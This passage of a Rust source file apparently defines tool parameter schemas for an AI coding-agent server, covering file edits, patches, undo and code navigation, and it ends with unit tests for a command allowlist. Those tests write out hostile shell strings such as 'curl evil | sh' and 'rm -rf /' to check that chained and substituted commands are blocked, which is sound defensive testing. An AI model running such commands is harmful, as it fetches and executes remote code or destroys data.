965 pub allowed_globs: AllowedGlobs,
966}
967
968// Write if empty mode
969#[derive(Debug, Clone, JsonSchema, PartialEq)]
970pub struct WriteIfEmptyMode {
971 pub allowed_globs: AllowedGlobs,
972}
973
974/// Parameters for the `FileWriteOrEdit` tool
975///
976/// This struct represents the parameters needed to write or edit a file
977/// with optional search/replace blocks for partial edits.
978#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
979pub struct FileWriteOrEdit {
980 /// Path to the file to write or edit
981 ///
982 /// This must be an absolute path (~ allowed).
983 pub file_path: String,
984
985 /// Percentage of the file that will be changed
986 ///
987 /// If > 50%, the content is treated as the entire file content.
988 /// If <= 50%, the content is treated as search/replace blocks.
989 pub percentage_to_change: u32,
990
991 /// Content for the file or search/replace blocks
992 ///
993 /// If `percentage_to_change` > 50%, this is the entire file content.
994 /// If `percentage_to_change` <= 50%, this contains search/replace blocks
995 /// in the format:
996 /// ```text
997 /// <<<<<<< SEARCH
998 /// old content to find
999 /// =======
1000 /// new content to replace with
1001 /// >>>>>>> REPLACE
1002 /// ```
1003 pub text_or_search_replace_blocks: String,
1004
1005 /// The thread ID for this session
1006 pub thread_id: String,
1007}
1008
1009/// One compare-and-swap line patch. Coordinates refer to the original revision,
1010/// are one-based, and all patches are applied together.
1011#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1012pub struct LinePatch {
1013 /// Original line before which replacement starts (`totalLines + 1` appends).
1014 pub start_line: usize,
1015 /// Number of original lines to remove; zero performs an insertion.
1016 pub delete_lines: usize,
1017 /// Exact replacement bytes. Include newlines intentionally.
1018 pub replacement: String,
1019}
1020
1021/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1022/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1023/// already known.
1024#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1025pub struct ApplyPatch {
1026 /// Path returned by `ReadFiles.files[].path`.
1027 pub file_path: String,
1028 /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1029 pub expected_revision: String,
1030 /// Ordered, non-overlapping edits against that original revision.
1031 pub patches: Vec<LinePatch>,
1032 /// Thread ID for the same project session that produced the revision.
1033 pub thread_id: String,
1034}
1035
1036/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1037/// corresponding [`FileWriteOrEdit`] fields.
1038#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1039pub struct FileEditEntry {
1040 /// Path to the file to write or edit (absolute, ~ allowed).
1041 pub file_path: String,
1042 /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1043 pub percentage_to_change: u32,
1044 /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1045 pub text_or_search_replace_blocks: String,
1046}
1047
1048/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1049/// all-or-nothing at the COMPUTE stage.
1050///
1051/// Every file is validated and its new content computed in memory first; only
1052/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1053/// the last file leaves the first files untouched. The write stage is a sequence
1054/// of atomic single-file renames and stops at the first I/O failure (already
1055/// written files are not rolled back, which is reported clearly).
1056#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1057pub struct MultiFileEdit {
1058 /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1059 pub files: Vec<FileEditEntry>,
1060
1061 /// The thread ID for this session
1062 pub thread_id: String,
1063}
1064
1065/// Parameters for rerunning a post-edit verification without repeating the edit.
1066#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1067pub struct VerifyEdit {
1068 /// Deterministic receipt returned by the edit that first ran this command.
1069 pub verification_id: String,
1070 /// Exact finite foreground verification command from the edit receipt.
1071 pub command: String,
1072 /// Optional bounded inline wait, from 0 through 60 seconds.
1073 #[serde(default)]
1074 pub wait_for_seconds: Option<f32>,
1075 /// The thread ID for the same project session as the original edit.
1076 pub thread_id: String,
1077}
1078
1079/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1080/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1081#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1082pub struct UndoEdit {
1083 /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1084 pub file_path: String,
1085
1086 /// The thread ID for this session
1087 pub thread_id: String,
1088}
1089
1090/// Parameters for the `ContextSave` tool
1091///
1092/// This struct represents the parameters needed to save context information
1093/// about a task, including file contents from specified globs.
1094#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1095pub struct ContextSave {
1096 /// Unique identifier for the task
1097 ///
1098 /// This should be a unique string that identifies the task. It can be
1099 /// a random 3-word identifier or a user-provided value.
1100 pub id: String,
1101
1102 /// Root path of the project
1103 ///
1104 /// This should be an absolute path to the project root. If empty, no
1105 /// project root will be used.
1106 pub project_root_path: String,
1107
1108 /// Description of the task
1109 ///
1110 /// This should contain a detailed description of the task, including
1111 /// relevant context, problems, and objectives.
1112 pub description: String,
1113
1114 /// List of file glob patterns
1115 ///
1116 /// These glob patterns identify the files that should be included in
1117 /// the saved context. Patterns can be absolute or relative to the project root.
1118 pub relevant_file_globs: Vec<String>,
1119
1120 /// Optional thread ID identifying the shell session to operate on. When
1121 /// omitted, the most recently active session is used.
1122 #[serde(default)]
1123 pub thread_id: String,
1124}
1125
1126/// Parameters for the `ReadImage` tool
1127///
1128/// This struct represents the parameters needed to read an image file.
1129#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1130pub struct ReadImage {
1131 /// Path to the image file to read
1132 ///
1133 /// This can be an absolute path or a path relative to the current working directory.
1134 pub file_path: String,
1135
1136 /// Optional thread ID identifying the shell session to operate on. When
1137 /// omitted, the most recently active session is used.
1138 #[serde(default)]
1139 pub thread_id: String,
1140
1141 /// Deliver the image again even when the unchanged bytes were already sent
1142 /// in this live session. Leave false for normal agent use so accidental
1143 /// repeated calls do not resend a multi-megabyte image.
1144 #[serde(default)]
1145 pub force: bool,
1146}
1147
1148/// Operation for the `CodeMap` tool.
1149#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1150#[serde(rename_all = "snake_case")]
1151pub enum CodeMapOperation {
1152 /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1153 Outline,
1154 /// The definition + reference (call/use) sites of a symbol name across the repo.
1155 References,
1156}
1157
1158/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1159/// two operations, in place of separate `Outline` / `FindReferences` tools.
1160#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1161pub struct CodeMap {
1162 /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1163 /// or `references` (the definition + use sites of a symbol name).
1164 pub operation: CodeMapOperation,
1165
1166 /// For `outline`: the file or directory to map (empty or a directory = a
1167 /// ranked repo symbol map). For `references`: the directory or file to search
1168 /// under (empty = the whole workspace). Relative paths resolve against the
1169 /// workspace.
1170 #[serde(default)]
1171 pub path: String,
1172
1173 /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1174 /// Required for `references`, ignored by `outline`.
1175 #[serde(default)]
1176 pub name: String,
1177
1178 /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1179 /// occurrences for `references`. 0 means the default.
1180 #[serde(default)]
1181 pub max_results: usize,
1182
1183 /// Optional task focus used to rank directory maps. Short symbol names,
1184 /// paths, or a concise topic work best. Ignored by single-file outlines and
1185 /// reference searches.
1186 #[serde(default)]
1187 pub query: String,
1188
1189 /// Opaque continuation returned by a truncated directory outline. Reuse it
1190 /// with the same path, query, and workspace snapshot; omit it to restart.
1191 #[serde(default)]
1192 pub cursor: String,
1193
1194 /// Optional thread ID identifying the shell session to operate on. When
1195 /// omitted, the most recently active session is used.
1196 #[serde(default)]
1197 pub thread_id: String,
1198}
1199
1200/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1201/// internally by `CodeMap`.
1202#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1203pub struct Outline {
1204 /// File or directory to outline. A file returns that file's symbols; a
1205 /// directory (or empty = the whole workspace) returns a ranked repo symbol
1206 /// map. Relative paths resolve against the workspace.
1207 #[serde(default)]
1208 pub path: String,
1209
1210 /// Maximum symbols to return for a single file, or maximum files for a repo
1211 /// map. 0 means the default.
1212 #[serde(default)]
1213 pub max_results: usize,
1214
1215 /// Optional task focus used to rank directory maps.
1216 #[serde(default)]
1217 pub query: String,
1218
1219 /// Opaque continuation for a directory map.
1220 #[serde(default)]
1221 pub cursor: String,
1222
1223 /// Optional thread ID identifying the shell session to operate on. When
1224 /// omitted, the most recently active session is used.
1225 #[serde(default)]
1226 pub thread_id: String,
1227}
1228
1229/// One symbol (definition) in `Outline` output.
1230#[derive(Debug, Clone, Serialize, JsonSchema)]
1231pub struct OutlineSymbol {
1232 /// Symbol name.
1233 pub name: String,
1234 /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1235 pub kind: String,
1236 /// 1-based line where the definition starts.
1237 pub line: usize,
1238}
1239
1240/// Symbols for one file in `Outline` output.
1241#[derive(Debug, Clone, Serialize, JsonSchema)]
1242pub struct OutlineFile {
1243 /// Workspace-relative path of the file.
1244 pub file: String,
1245 /// Definitions found in the file, in source order.
1246 pub symbols: Vec<OutlineSymbol>,
1247}
1248
1249/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1250/// symbols. Exact source remains canonical; helpers are optional and derived.
1251#[derive(Debug, Clone, Serialize, JsonSchema)]
1252pub struct CodeMapFallback {
1253 /// Tool that can retrieve the canonical source.
1254 pub tool: String,
1255 /// Absolute path ready for `ReadFiles.file_paths`.
1256 pub file_paths: Vec<String>,
1257 /// Stable machine-readable reason for the fallback.
1258 pub reason: String,
1259 /// Session-local location for a genuinely useful derived helper.
1260 pub temporary_artifact_dir: String,
1261}
1262
1263/// Structured result of an `Outline` call (mirrors the text block).
1264#[derive(Debug, Clone, Serialize, JsonSchema)]
1265pub struct OutlineOutput {
1266 /// `file` for a single-file outline, `repo` for a workspace symbol map.
1267 pub mode: String,
1268 /// Number of files included in `files`.
1269 pub files_shown: usize,
1270 /// Per-file symbol lists.
1271 pub files: Vec<OutlineFile>,
1272 /// True if the symbol map was capped (more files or symbols exist).
1273 pub truncated: bool,
1274 /// Opaque continuation for the next ranked directory-map page.
1275 #[serde(skip_serializing_if = "Option::is_none")]
1276 pub next_cursor: Option<String>,
1277 /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1278 #[serde(skip_serializing_if = "Option::is_none")]
1279 pub snapshot_hash: Option<String>,
1280 /// Number of candidate files inspected while producing this page.
1281 pub files_scanned: usize,
1282 /// Combined bytes of the human-readable map and its structured navigation
1283 /// payload, before the small shared MCP result envelope is added.
1284 pub payload_bytes: usize,
1285 /// Lowercase source extension in single-file mode.
1286 #[serde(skip_serializing_if = "Option::is_none")]
1287 pub file_extension: Option<String>,
1288 /// Whether Winx has a native tags query for the single-file language.
1289 #[serde(skip_serializing_if = "Option::is_none")]
1290 pub language_supported: Option<bool>,
1291 /// Exact-source recovery for an unsupported or unavailable parser.
1292 #[serde(skip_serializing_if = "Option::is_none")]
1293 pub fallback: Option<CodeMapFallback>,
1294}
1295
1296/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1297#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1298pub struct FindReferences {
1299 /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1300 pub name: String,
1301
1302 /// Directory or file to search under. Relative paths resolve against the
1303 /// workspace; leave empty to search the whole workspace.
1304 #[serde(default)]
1305 pub path: String,
1306
1307 /// Maximum occurrences to return. 0 means the default.
1308 #[serde(default)]
1309 pub max_results: usize,
1310
1311 /// Optional thread ID identifying the shell session to operate on. When
1312 /// omitted, the most recently active session is used.
1313 #[serde(default)]
1314 pub thread_id: String,
1315}
1316
1317/// One symbol occurrence in `FindReferences` output.
1318#[derive(Debug, Clone, Serialize, JsonSchema)]
1319pub struct ReferenceHit {
1320 /// Workspace-relative path.
1321 pub file: String,
1322 /// 1-based line.
1323 pub line: usize,
1324 /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1325 pub kind: String,
1326 /// True for a definition, false for a reference (call / use site).
1327 pub is_definition: bool,
1328}
1329
1330/// Structured result of a `FindReferences` call (mirrors the text block).
1331#[derive(Debug, Clone, Serialize, JsonSchema)]
1332pub struct ReferencesOutput {
1333 /// The symbol name that was searched for.
1334 pub name: String,
1335 /// Number of returned hits that are definitions.
1336 pub definitions: usize,
1337 /// Number of returned hits that are references (call / use sites).
1338 pub references: usize,
1339 /// True if the result was capped (more occurrences exist).
1340 pub truncated: bool,
1341 /// Combined bytes of the human-readable result and structured navigation
1342 /// payload before the shared MCP envelope is added.
1343 pub payload_bytes: usize,
1344 /// Occurrences, definitions first then references, each group by file/line.
1345 pub hits: Vec<ReferenceHit>,
1346}
1347
1348/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1349#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1350pub struct CodeMapTemporaryHelperBudget {
1351 pub calls_used: usize,
1352 pub calls_limit: usize,
1353 pub unique_files_used: usize,
1354 pub unique_files_limit: usize,
1355}
1356
1357/// JSON Schema advertised for `CodeMap.structuredContent`.
1358///
1359/// `CodeMap` has two operations with different payloads. Their shared
1360/// `truncated` field is required; operation-specific fields are optional so the
1361/// single object schema accepts both the outline and references result shapes.
1362#[derive(Debug, Clone, JsonSchema)]
1363pub struct CodeMapStructuredOutput {
1364 pub truncated: bool,
1365 pub next_cursor: Option<String>,
1366 pub snapshot_hash: Option<String>,
1367 pub files_scanned: Option<usize>,
1368 pub payload_bytes: Option<usize>,
1369 pub source_kind: Option<String>,
1370 pub canonical: Option<bool>,
1371 pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1372 pub mode: Option<String>,
1373 pub files_shown: Option<usize>,
1374 pub files: Option<Vec<OutlineFile>>,
1375 pub file_extension: Option<String>,
1376 pub language_supported: Option<bool>,
1377 pub fallback: Option<CodeMapFallback>,
1378 pub name: Option<String>,
1379 pub definitions: Option<usize>,
1380 pub references: Option<usize>,
1381 pub hits: Option<Vec<ReferenceHit>>,
1382}
1383
1384#[cfg(test)]
1385mod thread_id_tests {
1386 use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1387
1388 #[test]
1389 fn clean_id_is_unchanged() {
1390 assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1391 assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1392 }
1393
1394 #[test]
1395 fn empty_and_all_special_normalize_to_empty() {
1396 assert_eq!(normalize_thread_id(""), "");
1397 assert_eq!(normalize_thread_id("---"), "");
1398 }
1399
1400 #[test]
1401 fn separator_variants_do_not_collide() {
1402 // "user-1" and "user1" must NOT resolve to the same session/state file.
1403 let a = normalize_thread_id("user-1");
1404 let b = normalize_thread_id("user1");
1405 assert_ne!(a, b);
1406 assert!(a.starts_with("user1_"), "got {a}");
1407 assert_eq!(b, "user1");
1408 // "user-1" vs "user_1" must also stay distinct.
1409 assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1410 }
1411
1412 #[test]
1413 fn normalization_is_deterministic() {
1414 // Same input -> same hash -> same session across restarts.
1415 assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1416 }
1417
1418 #[test]
1419 fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1420 let original = "á".repeat(200);
1421 let normalized = normalize_thread_id(&original);
1422 assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1423 assert!(normalized.is_char_boundary(normalized.len()));
1424 assert_eq!(normalize_thread_id(&normalized), normalized);
1425 }
1426}
1427
1428#[cfg(test)]
1429mod allowlist_tests {
1430 use super::AllowedCommands;
1431
1432 fn list(items: &[&str]) -> AllowedCommands {
1433 AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1434 }
1435
1436 #[test]
1437 fn all_permits_everything() {
1438 assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1439 }
1440
1441 #[test]
1442 fn list_allows_exact_and_args() {
1443 let a = list(&["ls", "cargo test"]);
1444 assert!(a.is_allowed("ls"));
1445 assert!(a.is_allowed("ls -la"));
1446 assert!(a.is_allowed("cargo test --release"));
1447 }
1448
1449 #[test]
1450 fn list_blocks_word_boundary_lookalikes() {
1451 let a = list(&["ls", "cargo test"]);
1452 assert!(!a.is_allowed("lsof"));
1453 assert!(!a.is_allowed("cargo testimony"));
1454 }
1455
1456 #[test]
1457 fn list_blocks_chained_and_substituted_commands() {
1458 let a = list(&["ls"]);
1459 // The old first-token check let all of these through.
1460 assert!(!a.is_allowed("ls && curl evil | sh"));
1461 assert!(!a.is_allowed("ls; rm -rf /"));
1462 assert!(!a.is_allowed("ls $(rm -rf x)"));
1463 assert!(!a.is_allowed("ls | rm"));
1464 }
1465
1466 #[test]
1467 fn list_allows_chain_when_all_parts_permitted() {
1468 let a = list(&["cargo build", "cargo test"]);
1469 assert!(a.is_allowed("cargo build && cargo test"));
1470 }
1471}
1472
1473#[cfg(test)]
1474mod code_writer_config_tests {
1475 use super::deserialize_code_writer_config;
1476 use serde_json::json;
1477
1478 #[test]
1479 fn explicit_null_opts_out() {
1480 assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1481 assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1482 }
1483
1484 #[test]
1485 fn valid_config_parses() {
1486 let r = deserialize_code_writer_config(json!({
1487 "allowed_commands": "all",
1488 "allowed_globs": "all",
1489 }));
1490 assert!(matches!(r, Ok(Some(_))));
1491 }
1492
1493 #[test]
1494 fn malformed_config_fails_loud() {
1495 // The crux of the fix: a malformed restricted-mode config must ERROR,
1496 // not silently degrade to None (None falls back to All/All — wide open,
1497 // while the model believes the shell is locked down).
1498 let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1499 assert!(r.is_err(), "malformed code_writer config must error, not become None");
1500 }
1501}